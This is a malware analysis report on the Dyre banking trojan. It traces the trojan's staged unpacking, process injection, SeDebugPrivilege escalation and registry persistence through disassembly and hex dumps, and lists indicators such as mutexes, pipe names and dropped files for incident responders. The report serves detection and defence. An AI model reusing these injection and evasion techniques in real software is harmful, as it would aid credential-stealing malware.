Dyre Infection Analysis by Alexander Hanel
2014/11/24
Version 1.0
alexander.hanel@gmail.com

Executive Summary

This document is an analysis of the Dyre banking malware. It is intended to aid in understanding how Dyre executes and interact with the operating system. The targeted audience is malware analyst, reverse engineers, system administrators, incident responders and forensic investigators. Hopefully an individual investigating an incident could use this document to determine if the infection is Dyre or not.

Introduction

Dyre is banking trojan that first was first seen in June of 2014. In terms of banking malware the family is rather recent. Most organizations and email providers have been hit with a spam campaigns that either links to an exploit kit that drops Drye or have been sent an email with a zip attachment that contains a Dyre executable. This document cover features of the Dyre that I found interesting. Due to the size of the code not all features are covered. The sample I originally started with was an older sample. Newer samples that dropped a service crashed in my test environment. If you would like to contribute to this report please shoot me an email.

Family Name

- Dyre
- Dyreza
- Dyzap
- Battdil

Propagation

Dyre is usually downloaded by a lightweight trojan downloader named Upatre. The two families share the same packer/obfuscation. As of the time of this writing, Upatre is most commonly executed by users being social engineered to open a zip file and execute it. The users will receive an email masquerading to be from of a known entity such as Wells Fargo, IRS, Amazon, etc. The email will request the user to open the attachment. Once opened it will download Dyre.

Sample Analyzed

File Hash	099c36d73cad5f13ec1a89d5958486060977930b8e4d541e4a2f7d92e104cd21
File Size	440 kB
File Modification Date/Time	2014:09:20 22:28:00-04:00
File Access Date/Time	2014:11:11 17:28:16-05:00
File Creation Date/Time	2014:11:11 17:25:43-05:00
File Type	Win32 EXE
MIME Type	application/octet-stream
Machine Type	Intel 386 or later, and compatibles

Time Stamp	2014:08:14 08:46:22-04:00
PE Type	PE32
Linker Version	6.2
Code Size	376832
Initialized Data Size	73728
Uninitialized Data Size	0
Entry Point	0x3eec3
OS Version	4.0
Image Version	0.0
Subsystem Version	4.0
Subsystem	Windows GUI
File Version Number	2.4.0.8376
Product Version Number	2.4.0.8376
File Flags Mask	0x0000
File Flags	(none)
File OS	Windows NT 32-bit
Object File Type	Executable application
File Subtype	0
Language Code	English (U.S.)
Character Set	Windows, Latin1
File Description	ViewerPDF
File Version	2.4.0.8376
Legal Copyright	Copyright 2006-2013 all authors (GPLv3)
Original Filename	ViewerPDF.exe
Product Name	ViewerPDF
Product Version	2.4.0.8376

Installation

Dyre executes in seven stages. In order to understand the installation process it is useful to know the different stages. By knowing these stages it can aid in detection.

Stages Description

1. Executable on disk, non-executed.
2. The sample is loaded in memory, executing and modifying it's own memory.
3. Position independent code running in allocated memory to decode original Dyre installer.
4. Dyre installer.
5. Position independent code injected into svchost.exe or explorer.
6. Drye injected DLL running in svchost.exe or explorer. **
7. Injected DLL running in browser memory space. **

   ** The DLL will not show up as a loaded module.

Note: The below stages were based off of one variant. Details such as folder paths, filenames or injected processes vary. The General Details and Functionality section is written to cover more indicators of the different variants.

Stage 1

As previously mentioned Upatre and Dyre share the same obfuscation tool. In this stage the samples are very similar except for a couple of differences. The most notable differences is the import. Below is the imports for Upatre. Most of the MSVCRT APIs are invoked during the WinMain.

Note: Parts of this can be a little esoteric and maybe only interesting to myself and/or others who like to understandi file randomization.

Address	Ordinal	Name	Library
00403000		SetBkColor	GDI32
00403008		GetStartupInfoA	KERNEL32
0040300C		GetModuleHandleA	KERNEL32
00403010		GetModuleHandleW	KERNEL32
00403014		CloseHandle	KERNEL32
00403018		CreateFileW	KERNEL32
0040301C		WriteFile	KERNEL32
00403020		ReadFile	KERNEL32
00403028		__getmainargs	MSVCRT
0040302C		_controlfp	MSVCRT
00403030		_except_handler3	MSVCRT
00403034		__set_app_type	MSVCRT
00403038		__p__fmode	MSVCRT
0040303C		__p__commode	MSVCRT
00403040		_adjust_fdiv	MSVCRT
00403044		__setusermatherr	MSVCRT
00403048		_exit	MSVCRT
0040304C		_XcptFilter	MSVCRT
00403050		exit	MSVCRT
00403054		_acmdln	MSVCRT
00403058		_initterm	MSVCRT
00403060		RegisterClassExW	USER32
00403064		CreateWindowExW	USER32
00403068		GetMessageW	USER32
0040306C		TranslateMessage	USER32
00403070		DispatchMessageW	USER32
00403074		DefWindowProcW	USER32
00403078		PostQuitMessage	USER32
0040307C		ShowWindow	USER32
00403080		UpdateWindow	USER32
00403084		SetWindowTextW	USER32
00403088		PostMessageW	USER32

If you have read my Upatre Sample Set Analysis a number of these APIs will look familiar. GetModuleHandleA , GetStartupInfoA, EnableWindow, etc.

```
Address  Ordinal Name                                                  Library
-------  ------- ----                                                  -------
0045D000          GetModuleHandleA                                     KERNEL32
0045D004          GetStartupInfoA                                      KERNEL32
0045D2F8 6336     __imp_?UpdateFrameCounts@CDocument@@UAEXXZ            MFC42
0045D05C 5577     __imp_?ReleaseFile@CDocument@@UAEXPAVCFile@@H@Z       MFC42
.............................
0045D078 5241     ?PostNcDestroy@CWnd@@MAEXXZ                          MFC42
0045D074 4396     __imp_?OnChildNotify@CButton@@MAEHIIJPAJ@Z            MFC42
0045D0DC 4108     __imp_?IsSelected@CView@@UBEHPBVCObject@@@Z           MFC42
0045D06C 4242     ?messageMap@CFrameWnd@@1UAFX_MSGMAP@@B                MFC42
0045D068 1842     ?classCFrameWnd@CFrameWnd@@2UCRuntimeClass@@B         MFC42
0045D064 5740     __imp_?SaveModified@CDocument@@UAEHXZ                 MFC42
........
0045D354          _setmbcp                                             MSVCRT
0045D350          ??2@YAPAXI@Z                                         MSVCRT
.....
0045D310          _except_handler3                                     MSVCRT
0045D30C          _controlfp                                           MSVCRT
0045D368          EnableWindow                                         USER32
0045D364          SendMessageA                                         USER32
0045D360          UpdateWindow                                         USER32
0045D35C          LoadCursorA                                          USER32
```

One noticeable difference between the two sets is that the Microsoft Foundation Class Library has been included. Most of the APIs from the library are never called. The purpose of importing the APIs is to add more data and code to aid in adding data to help randomize the executable from hashing. This is a good example of why relying on hashing of APIs is not always a good idea for clustering families. The authors of the obfuscation tool used by Upatre and Dyre have added slight variations through pointer arithmetic to randomize the code.

Upatre

```
.text:0040106F _GetImageOptionalHeaderAddress proc near ;
.text:0040106F                 mov     ecx, [eax+3Ch]        ; note: 0x3C
.text:00401072                 mov     [ebp-4], eax
.text:00401075                 and     ecx, 0FFFFh
.text:0040107B                 add     eax, ecx
.text:0040107D                 mov     ecx, 18h
.text:00401082                 add     eax, ecx
.text:00401084                 inc     ecx
.text:00401085                 add     ecx, 0F0h
.text:0040108B                 retn
.text:0040108B _GetImageOptionalHeaderAddress endp
```

Dyre

```
.text:004469B0 _GetImageOptionalHeaderAddress proc near ;
```

```
.text:004469B0
.text:004469B0                  mov     [ebp-4], eax
.text:004469B3                  xor     ecx, ecx
.text:004469B5                  inc     eax         ; inc eax so [EAX + 3Bh] equals  [EAX + 0x3C]
.text:004469B6                  mov     cx, [eax+3Bh]
.text:004469BA                  add     eax, ecx
.text:004469BC                  dec     eax
.text:004469BD                  mov     ecx, 18h
.text:004469C2                  add     eax, ecx
.text:004469C4                  inc     ecx
.text:004469C5                  add     ecx, 0F0h
.text:004469CB                  retn
.text:004469CB _GetImageOptionalHeaderAddress endp
```

stage 2

```
.text:0044F240 sub_44F240       proc near               ; CODE XREF:
.text:0044F240                  push    ebp             ; count:1
.text:0044F241                  mov     ebp, esp        ; count:1
.text:0044F243                  push    offset _call_decoder ; count:1
.text:0044F248                  call    _atexit         ; count:1
.text:0044F24D                  add     esp, 4          ; count:1
.text:0044F250                  pop     ebp             ; count:1
.text:0044F251                  retn            ; count:1
.text:0044F251 sub_44F240       endp
```

Stage 2 happens after a call to _atexit. This stage will call VirtualProtect and decode stage 3. Calling the _atexit function directly will not work because the sample relies on predicted values generated by calling useless APIs. T

Invoked during WinMain

```
.text:00401380                  mov     [ebp-34h], eax
.text:00401383                  mov     ecx, [ebp-0ACh]
.text:00401389                  call    ?GetExStyle@CWnd@@QBEKXZ ;
CWnd::GetExStyle(void)  ; Retrieves the extended window styles of the window.
.text:0040138E                  mov     dword_46C1CC, eax           ;  eax = 0x100
WS_EX_WINDOWEDGE
```

Invoked after _atexit

```
.text:0043EC95                  mov     eax, dword_46C1CC
.text:0043EC9A                  sub     eax, 0F9h       ; 0x100 - 0xf9 = 7
.text:0043EC9F                  call    _thread
```

```
.text:0044A790 _thread        proc near               ; CODE XREF:
.text:0044A790                mov     ecx, eax        ; eax = 7
.text:0044A792                sub     ecx, 7
.text:0044A795                test    ecx, ecx        ; ecx = 0
.text:0044A797                jz      short loc_44A7B5
.text:0044A799                inc     ecx
.text:0044A79A                retn
.text:0044A79A ; ---------------------------------------------------------------------------
.text:0044A79B                db 6Ah                  ;
.text:0044A79C ; ---------------------------------------------------------------------------
.text:0044A79C                jmp     fword ptr [eax+19h]
.text:0044A79C ; ---------------------------------------------------------------------------
.text:0044A79F                db 77h
.text:0044A7A0                dd 0A1640052h, 0
.text:0044A7A8                dd 25896450h, 0
.text:0044A7B0                dd 68685351h
.text:0044A7B4                db 0D1h
.text:0044A7B5 ; ---------------------------------------------------------------------------
.text:0044A7B5
.text:0044A7B5 loc_44A7B5:                            ; CODE XREF: _thread+7j
.text:0044A7B5                mov     ebp, esp
.text:0044A7B7                mov     dword_465FE4, esp
.text:0044A7BD
.text:0044A7BD loc_44A7BD:                            ; CODE XREF: _thread+45j
.text:0044A7BD                push    eax
.text:0044A7BE                mov     eax, offset GetStartupInfoA
.text:0044A7C3                mov     edx, offset loc_43EB90
.text:0044A7C8                mov     eax, [eax]
.text:0044A7CA                mov     dword_465FF0, eax
.text:0044A7CF                pop     eax
.text:0044A7D0                add     edx, eax
.text:0044A7D2                push    edx             ; 0043EB97
.text:0044A7D3                test    eax, eax
.text:0044A7D5                jz      short loc_44A7BD
.text:0044A7D7                call    dword ptr [ebp-4] ; 0043EB97
...
.text:0043EB97 _init_decodeproc near
.text:0043EB97                mov     ecx, eax
.text:0043EB99                push    ecx
.text:0043EB9A                inc     ecx
.text:0043EB9B                cmp     ecx, 0Ah
.text:0043EB9E                jz      sub_4469B0
```

```
.text:0043EBA4                call    sub_4110F0
.text:0043EBA9                mov     ecx, 42h
.text:0043EBAE                push    offset unk_46B194
.text:0043EBB3                lea     esi, dword_43F030
.text:0043EBB9                dec     ecx
.text:0043EBBA                dec     ecx
.text:0043EBBB                push    ecx
.text:0043EBBC                mov     edx, offset _2ndStage
.text:0043EBC1                push    edi
.text:0043EBC2                push    edx
.text:0043EBC3                jmp     short loc_43EBDE ; VirtualProtect
.text:0043EBC5 ; ---------------------------------------------------------------------------
.text:0043EBC5
.text:0043EBC5 loc_43EBC5:                            ; CODE XREF: _init_decode+49j
.text:0043EBC5                mov     ecx, 127                ; XOR Loop Count
.text:0043EBCA                mov     edi, offset _2ndStage ; Buffer to decode
.text:0043EBCF                inc     ecx
.text:0043EBD0                mov     eax, dword_465EA2
.text:0043EBD5                call    _decode_0
.text:0043EBDA                pop     eax
.text:0043EBDB                inc     eax
.text:0043EBDC                inc     eax
.text:0043EBDD                retn
.text:0043EBDE ; ---------------------------------------------------------------------------
.text:0043EBDE
.text:0043EBDE loc_43EBDE:                            ; CODE XREF: _init_decode+2Cj
.text:0043EBDE                call    eax             ; VirtualProtect
.text:0043EBE0                jmp     short loc_43EBC5
.text:0043EBE0 _init_decode           endp

.text:00442430 _xor_save      proc near               ; CODE XREF: decode+6p
.text:00442430                mov     eax, esi
.text:00442432                mov     eax, [eax]
.text:00442434                xor     eax, ecx
.text:00442436                call    save_xored
.text:0044243B                retn
.text:0044243B _xor_save      endp
```

RE Notes: To bypass these stages set a breakpoint on VirtualProtectEx, execute, then a hardware breakpoint on the address/second argument in VirtualProtect, then execute. The second stage is responsible for allocating memory, decoding a buffer using the same XOR routine and writing the third stage to a memory. Setting a breakpoint at the last call eax will take us to the third stage.See the below assembly

```
0041F620    55              PUSH EBP
0041F621    8BEC            MOV EBP,ESP
0041F623    83C4 F4         ADD ESP,-0C
0041F626    8945 F4         MOV DWORD PTR SS:[EBP-C],EAX
0041F629    8B5D 08         MOV EBX,DWORD PTR SS:[EBP+8]
0041F62C    8B43 04         MOV EAX,DWORD PTR DS:[EBX+4]
0041F62F    50              PUSH EAX                l; add of str VirtualAlloc
0041F630    8B53 20         MOV EDX,DWORD PTR DS:[EBX+20]
0041F633    8B42 10         MOV EAX,DWORD PTR DS:[EDX+10]
0041F636    50              PUSH EAX
0041F637    8B42 08         MOV EAX,DWORD PTR DS:[EDX+8]
0041F63A    FFD0            CALL EAX                ; 00417C60; get import address
0041F63C    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
0041F63F    8B4B 0C         MOV ECX,DWORD PTR DS:[EBX+C]
0041F642    C1E9 0C         SHR ECX,0C
0041F645    41              INC ECX
0041F646    C1E1 0C         SHL ECX,0C
0041F649    33C0            XOR EAX,EAX
0041F64B    6A 40           PUSH 40
0041F64D    68 00100000     PUSH 1000
0041F652    51              PUSH ECX
0041F653    50              PUSH EAX
0041F654    8B45 F8         MOV EAX,DWORD PTR SS:[EBP-8]
0041F657    FFD0            CALL EAX                ; VirtualAlloc
0041F659    85C0            TEST EAX,EAX
0041F65B    74 3F           JE SHORT x.0041F69C
0041F65D    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
0041F660    8B7D FC         MOV EDI,DWORD PTR SS:[EBP-4]
0041F663    8B53 14         MOV EDX,DWORD PTR DS:[EBX+14]
0041F666    53              PUSH EBX
0041F667    8B5B 10         MOV EBX,DWORD PTR DS:[EBX+10]
0041F66A    8B33            MOV ESI,DWORD PTR DS:[EBX]
0041F66C    0FB70A          MOVZX ECX,WORD PTR DS:[EDX]
0041F66F    83F9 00         CMP ECX,0
0041F672    74 0A           JE SHORT x.0041F67E
0041F674    43              INC EBX
0041F675    43              INC EBX
0041F676    43              INC EBX
0041F677    43              INC EBX
0041F678    42              INC EDX
0041F679    42              INC EDX
```

```
0041F67A     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ; Copy
data to heap
0041F67C  ^ EB EC           JMP SHORT x.0041F66A
0041F67E     5B             POP EBX
0041F67F     8B7D FC        MOV EDI,DWORD PTR SS:[EBP-4]
0041F682     8B73 18        MOV ESI,DWORD PTR DS:[EBX+18]
0041F685     8B43 1C        MOV EAX,DWORD PTR DS:[EBX+1C]
0041F688     8B4B 0C        MOV ECX,DWORD PTR DS:[EBX+C]
0041F68B     8B53 08        MOV EDX,DWORD PTR DS:[EBX+8]
0041F68E     FFD2           CALL EDX              <- decode buffer
0041F690     8B4B 20        MOV ECX,DWORD PTR DS:[EBX+20]
0041F693     8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
0041F696     0345 F4        ADD EAX,DWORD PTR SS:[EBP-C]
0041F699     51             PUSH ECX
0041F69A     FFD0           CALL EAX              <- BreakPoint; Stage Three
0041F69C     8BE5           MOV ESP,EBP
0041F69E     5D             POP EBP
0041F69F     C3             RETN
```

Stage 3

The third stage typically starts with the GetEIP trick.

```
seg000:009D0009             call    $+5
seg000:009D000E             pop     ebx
seg000:009D000F             add     ebx, 6
seg000:009D0012             jmp     short sub_9D0083
seg000:009D0012 ; ---------------------------------------------------------------------------
seg000:009D0014 aLoadlibrarya   db 'LoadLibraryA',0
seg000:009D0021 aGetprocaddress db 'GetProcAddress',0
seg000:009D0030             db      1
seg000:009D0031 aKernel32_dll   db 'kernel32.dll',0
seg000:009D003E aVirtualalloc   db 'VirtualAlloc',0
seg000:009D004B aVirtualprotect db 'VirtualProtect',0
seg000:009D005A aVirtualfree        db 'VirtualFree',0
seg000:009D0066 aUnmapviewoffil db 'UnmapViewOfFile',0
seg000:009D0076 aExitprocess        db 'ExitProcess',0
seg000:009D0082             db      2
```

This stage is responsible for decoding an embedded executable file and then overwriting the original executables memory. It will call UnmapViewOfFile to remove the original loaded executable from memory, allocate and write memory for each section of the executable,

rebuild the import table, change the memory writes and then free the memory. Once this completed it will jump to the next stage.

RE Notes: An easy way to carve out the executable is set a breakpoint on UnmapViewOfFile, execute, the set a breakpoint on VirtualFree, execute then dump the memory that is being freed.

Stage 4

The fourth stage is the Dyre Dropper. The entry point will look something like this. Notice EIP points to an area of memory as the original base address.

```
.text:004025D0          push    ebp
.text:004025D1          mov     ebp, esp
.text:004025D3          and     esp, 0FFFFFFF8h
.text:004025D6          sub     esp, 5D4h
.text:004025DC          push    ebx
.text:004025DD          push    esi
.text:004025DE          push    edi
.text:004025DF          push    168h            ; nSize
.text:004025E4          lea     eax, [esp+5E4h+Data]
.text:004025EB          push    eax             ; lpFilename
.text:004025EC          push    0               ; hModule
.text:004025EE          call    ds:GetModuleFileNameW
.text:004025F4          cmp     hHeap, 0
.text:004025FB          jnz     short loc_402618
.text:004025FD          push    0               ; dwMaximumSize
.text:004025FF          push    400000h         ; dwInitialSize
.text:00402604          push    40000h          ; flOptions
.text:00402609          call    ds:HeapCreate
.text:0040260F          mov     hHeap, eax
.text:00402614          test    eax, eax
```

Note: The below process varies between versions. See the Dropped Files section for variations on dropped files.

The sample will check that it is running in the Application Data folder by calling SHGetFolderPath CSIDL_APPDATA. If the sample is running on Windows Vista or later it will be running from %USERPROFILE%\AppData\Roaming if lower than Vista %USERPROFILE%\Application Data. If the sample is not running in %APPDATA% it will generate a random 15 char string and concatenate with ".exe"

DDoKxGmEEQspft.exe
QLysiyFCqsHTenS.exe

rJSyaumrkjfVcxY.exe
wHepYHNuahJReRa.exe
XMoVNxUrnyNxMnH.exe
yDDoKxGmEEQspft.exe

It will then write itself to %APPDATA% and execute it with it's file path as an argument . If the sample is already running from %APPDATA% it will create a mutex to see if only one instance is executing.

```
.text:004026E8          push    offset aGlobal553wwerd ; "Global\\553wwerdty7"
.text:004026ED          push    0               ; bInheritHandle
.text:004026EF          push    100000h         ; dwDesiredAccess
.text:004026F4          call    ds:OpenMutexW
```

If the sample is executing for the first time it will delete the previously run executable.The sample will then create a run key.

```
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
@="C:\\Documents and Settings\\Administrator\\Application Data\\XMoVNxUrnyNxMnH.exe"
```

Creating rules to detect the creation of autorun registry keys that point to files in %APPDATA% is an easy way to identify suspicious executables from a HIPS or Windows events perspective.
After the registry key is written the sample will call IsWow64Process to identify if it is running on a 64 bit system. It will then create a file mapping of a resource and adjust it's privileges to "SeDebugPrivilege". Once completed it will call CreateToolhelp32Snapshot to search for "svchost.exe". If the process is running as NT AUTHORITY\SYSTEM it will inject into the process.

```
.text:00401388          push    eax             ; pSid
.text:00401389          push    ebx             ; DomainSid
.text:0040138A          push    WinLocalSystemSid  ; WellKnownSidType
.text:0040138C          mov     [ebp+cbSid], 44h
.text:00401393          call    ds:CreateWellKnownSid ;  function creates a SID for predefined
aliases.
....
.text:004013AA          push    ecx             ; ReturnLength
.text:004013AB          push    ebx             ; TokenInformationLength
.text:004013AC          push    ebx             ; TokenInformation
.text:004013AD          push    1               ; TokenInformationClass
.text:004013AF          push    edx             ; TokenHandle
.text:004013B0          mov     [ebp+ReturnLength], ebx
.text:004013B3          call    edi ; GetTokenInformation
```

```
.text:004013B5        call    ds:GetLastError
.text:004013BB        cmp     eax, ERROR_INSUFFICIENT_BUFFER
....
.text:004013F1        lea     edx, [ebp+pSid]
.text:004013F4        push    edx             ; pSid2
.text:004013F5        push    eax             ; pSid1
.text:004013F6        call    ds:EqualSid
```

Once the process is injected it will open the mutex it created earlier. Once this stage is completed it will call ExitProcess.

Stage 5

The entry point of the injected process is not the entry point of the executable but the base address of the allocated memory. The first 0x640 bytes of the memory block contains position independent code that is responsible for loading and rebuilding the import table for an executable that follows the code. This approach is notable because any executable file can be injected into a process. The embedded executable does not need to to be modified to include position independent code functionality.

```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  55 89 E5 57 56 51 52 53 8B 75 08 E8 EA 01 00 00  U‰åWVQRS‹u.èê...
00000010  89 C3 8D 46 61 50 53 E8 D0 02 00 00 55 8D 6E 51  ‰Ã.FaPSèÐ...U.nQ
00000020  89 45 04 89 5D 00 8D 86 47 06 00 00 89 45 08 8B  ‰E.‰]..†G...‰E.‹
00000030  86 43 06 00 00 89 45 0C E8 47 01 00 00 8D 86 87  †C...‰E.èG....†‡
00000040  03 00 00 FF D0 5D 31 C0 5B 5A 59 5E 5F C9 C2 0C  ...ÿÐ]1À[ZY^_ÉÂ.
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00  .GetProcAddress.

seg000:00920000 55                  push    ebp
seg000:00920001 89 E5               mov     ebp, esp
seg000:00920003 57                  push    edi
seg000:00920004 56                  push    esi
seg000:00920005 51                  push    ecx
seg000:00920006 52                  push    edx
seg000:00920007 53                  push    ebx
seg000:00920008 8B 75 08            mov     esi, [ebp+arg_0]
seg000:0092000B E8 EA 01 00 00              call    GetKernelBase
seg000:00920010 89 C3               mov     ebx, eax
seg000:00920012 8D 46 61            lea     eax, [esi+61h]
seg000:00920015 50                  push    eax             ; "GetProcAddress"
```

```
seg000:00920016 53                  push    ebx
seg000:00920017
seg000:00920017             loc_920017:
seg000:00920017 E8 D0 02 00 00          call    _IAT_Lookup
seg000:0092001C 55                  push    ebp
seg000:0092001D 8D 6E 51                lea     ebp, [esi+51h]
seg000:00920020 89 45 04            mov     [ebp+4], eax
seg000:00920023 89 5D 00            mov     [ebp+var_s0], ebx
seg000:00920026 8D 86 47 06 00+         lea     eax, [esi+647h]         ; MZ Header
```

The memory of the injected process can be identified by the RWX rights.

```
Private (Commit), 0x630000, 124 kB, RWX          ; Loader Code
Mapped (Commit), 0xf00000, 104 kB, RWX           ; DLL
Private (Commit), 0x2410000, 3.48 MB, RWX   ; DATA
Private (Commit), 0x2792000, 504 kB, RWX         ; DATA
```

Stage 6

The loaded executable will not contain the position independent code. It will start with the standard MZ.

```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ.........ÿÿ..
00000010  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 D8 00 00 00  ............Ø...
00000040  0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68  ..º..´.Í!¸.LÍ!Th
00000050  69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
00000060  74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t be run in DOS
00000070  6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00  mode....$.......
00000080  08 EE 31 68 4C 8F 5F 3B 4C 8F 5F 3B 4C 8F 5F 3B  .î1hL._;L._;L._;
00000090  45 F7 CC 3B 59 8F 5F 3B 4C 8F 5E 3B 8D 8F 5F 3B  E÷Ì;Y._;L.^;.._;
000000A0  23 F9 F0 3B 64 8F 5F 3B 23 F9 C1 3B 4D 8F 5F 3B  #ùð;d._;#ùÁ;M._;
000000B0  23 F9 C2 3B 4D 8F 5F 3B 52 69 63 68 4C 8F 5F 3B  #ùÂ;M._;RichL._;
000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

Note: The C2 can be parsed out of DATA memory.

Checks if a hardcoded mutex string is present to determine if it is already running. The mutex string is a variation of author pressing random chars on the keyboards with their left hand "Global\\553wwerdty7". An example of this can be seen in the name of the log file

"d6r5g4da.db" and named RCDATA (raw data resources) "u1xdfy2dv". The named resources are used to store the initial config file and injected code.

Creates a configuration file in %APPDATA% directory

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

```
00000000  05 00 62 6F 74 69 64 39 00 00 00 55 53 45 52 35  ..botid9...USER5
00000010  34 4B 39 2D 33 44 38 46 36 41 5F 57 35 31 32 36  4K9-3D8F6A_W5126
00000020  30 30 2E 42 44 36 32 46 46 39 38 30 45 35 38 30  00.BD62FF980E580
00000030  37 34 36 37 33 41 38 39 45 41 31 46 41 38 34 35  74673A89EA1FA845
00000040  46 43 38 00 50 02 71 A8 8B BD A0 5E 04 56 F2 60  FC8.P.q¨‹½ ^.Vò`
00000050  03 E3 E4 25 50 76 36 6F 97 A4 D7 06 88 18 F6 7C  .ãä%Pv6o—¤×.ˆ.ö|
00000060  E2 2F 1B F8                                      â/.ø
```

Adjust token to have SeDebugPrivilege.

```
.text:10004646          call    ds:GetCurrentProcess
.text:1000464C          push    eax             ; ProcessHandle
.text:1000464D          call    ds:OpenProcessToken
.text:10004653          test    eax, eax
.text:10004655          jz      short loc_10004696
.text:10004657          lea     eax, [ebp+NewState.Privileges]
.text:1000465A          push    eax             ; lpLuid
.text:1000465B          push    offset aSedebugprivile ; "SeDebugPrivilege"
.text:10004660          push    esi             ; lpSystemName
.text:10004661          mov     [ebp+NewState.PrivilegeCount], 1
.text:10004668          call    ds:LookupPrivilegeValueW
.text:1000466E          test    eax, eax
.text:10004670          jz      short loc_1000468D
.text:10004672          push    esi             ; ReturnLength
.text:10004673          push    esi             ; PreviousState
.text:10004674          push    10h             ; BufferLength
.text:10004676          lea     eax, [ebp+NewState]
.text:10004679          push    eax             ; NewState
.text:1000467A          push    esi             ; DisableAllPrivileges
.text:1000467B          push    [ebp+hObject]   ; TokenHandle
.text:1000467E          mov     [ebp+NewState.Privileges.Attributes], 2
.text:10004685          call    ds:AdjustTokenPrivileges
```

Stage 7

The last stage is the DLL injected into a browser such as iexplore.exe, firefox.exe or chrome.exe. This stage will only have been reached if Dyre has been connected to the internet. The injected DLL contains 170+ functions. The functions range from creating hooks in the browsers (see Hooks) to monitor traffic, communication with the main Dyre executable via name pipes, re-routing traffic, etc. The injected memory would have the below characteristics.

- Private (Commit), 0xa00000, 96 kB, RWX+G

General Details and Functionality

Persistence

Dyre uses the registry to survive a reboot.

Registry

Service

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate Type dword:00000010
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate Start dword:00000002
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate ErrorControl dword:00000001
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate ImagePath hex(2):43,3a,5c,57,49,4e,44,4f,57,53,5c,43,48,55,6e,46,61,57,4c,67,66,4a,54,42,64,77,2e,65,78,65,00,
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate DisplayName "Google Update Service"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate ObjectName "LocalSystem"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\Security Security hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,02,00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00,

Run Key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run GoogleUpdate "C:\Documents and Settings\Administrator\Application Data\googleupdaterr.exe"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run @ "C:\Documents and Settings\Administrator\Application Data\EDPBxttMFiiCodB.exe"

Dropped Files

Service

Windows XP

C:\WINDOWS\38f4f489bd7.INI 1KB
C:\WINDOWS\CHUnFaWLgfJTBdw.exe 439KB **
C:\WINDOWS\CHUnFaWLgfJTBdw.INI 1KB
C:\WINDOWS\system32\config\systemprofile\Application Data\2ete64.vas 2KB

** The executable with the 15 random upper or lower case chars is the most common.

XRider Version - Windows XP

C:\Documents and Settings\Administrator\Application Data\cmd.exe 291KB
C:\Documents and Settings\Administrator\Application Data\userdata.dat 1KB

diper89 Version - Windows XP

C:\Documents and Settings\Administrator\Application Data\googleupdaterr.exe 257KB
C:\Documents and Settings\Administrator\Application Data\userdata.dat 1KB

C:\Documents and Settings\Administrator\Application Data\EDPBxttMFiiCodB.exe 451KB
C:\WINDOWS\system32\config\systemprofile\Application Data\d6r5g4da.db 1KB
C:\WINDOWS\<DROPPER-NAME>.INI 1KB

Pipes

The injected process communicates to the main process by using named pipes. The names are hardcoded similar to the mutexes. The pipe is created in stage 6.

```
seg000:00A05044          push    0
seg000:00A05046          push    0
seg000:00A05048          push    3
seg000:00A0504A          push    0
seg000:00A0504C          push    0
seg000:00A0504E          push    0C0000000h
seg000:00A05053          push    offset a_PipeCmvn5e4d4 ; "\\\\.\\pipe\\cmvn5e4d4r"
seg000:00A05058          call    ebx ; CreateFileW
seg000:00A0505A          mov     esi, eax
```

It uses the name pipe to pass command and variables back and fourth. Within the injected process there are a number of different requested variables "btid", "ccsr", "btnt", "slip", "newp", "slpr" and "ppsr".

- \\.\pipe\Xider78Pipe
- \\.\\pipe\\cmvn5e4d4r
- \\.\pipe\Diper89Pipe
- \\.\pipe\net\NtControlPipe10 (

Mutex

The mutexes are hardcoded and are generated during stage 6. The below mutexes were found via OSINT.

- Global\1g2hk1hyj
- Global\\553wwerdty7
- Global\cdv5b74f5y7
- Xider78
- Diper89

Functionality Overview

This section contains generic functionality that Dyre is capable of. There is room for improvement in regards to the networking.

Enumerating processes

